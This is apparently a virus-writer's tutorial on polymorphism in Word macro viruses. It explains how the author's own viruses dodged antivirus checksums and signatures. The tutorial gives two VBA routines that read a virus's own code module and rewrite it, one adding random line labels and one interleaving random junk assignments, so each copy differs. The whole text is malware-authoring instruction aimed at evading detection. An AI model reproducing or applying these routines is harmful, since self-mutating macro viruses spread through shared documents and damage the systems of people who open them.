I don't think it is recomment what polymorhskim is, if you don't know it,
then close this page.
How did polymorphskim start ??? First there were comment lines added:
Application.UserName & " " & Application.UserAddress & " " & Time
With this method, it was not possible anymore to create a checksume, like
adding all bytes in the macro and check if it has the same figure like all bytes
added from the virus. However the AVs were able to find a method to dedect
this virii.
Differrent to file virii, macro polymorphskim ain't random encryption. You have
to modifi the code, to change on it as much as possible. Changing the name of
Variables only won't help much. AVP dedects my UNSEEN virus
as polymorph,
'coz it adds infront of every line a random lable. Then I tried out to change a virus
complete, look at V MAN, it changes the positions of
the lines completly.
Here are some methods:
(You have to set VSource, like: Set VSource =
ThisDocument.VBProject.VBComponents(1).Codemodule)
The new code is in the variable VirCode
Randomize Timer
With VSource
For x = 2 To .CountOfLines - 1
VCode = .Lines(x, 1)
For i = 1 To 10
If Mid(VCode, i, 1) = ":" Then VCode = Right(VCode, Len(VCode) - 7)
Next i
factor = ""
For y = 1 To Int(Rnd * 7) + 1
factor = factor & Chr(Int(Rnd * 25) + 65)
Next y
make_morph = factor & ":"
VirCode = VirCode & make_morph & " " & VCode & Chr(13)
Next x
End With
Another method:
Randomize Timer
For x = 1 To (VSource.CountOfLines - 1) Step 2
Morph = Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) +
65) & " = " &
Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65)
VCode = VCode & Target.Lines(x, 1) & Chr(13) & Morph & Chr(13)
Next x
V_Man's poly has no function or module, it is the code itself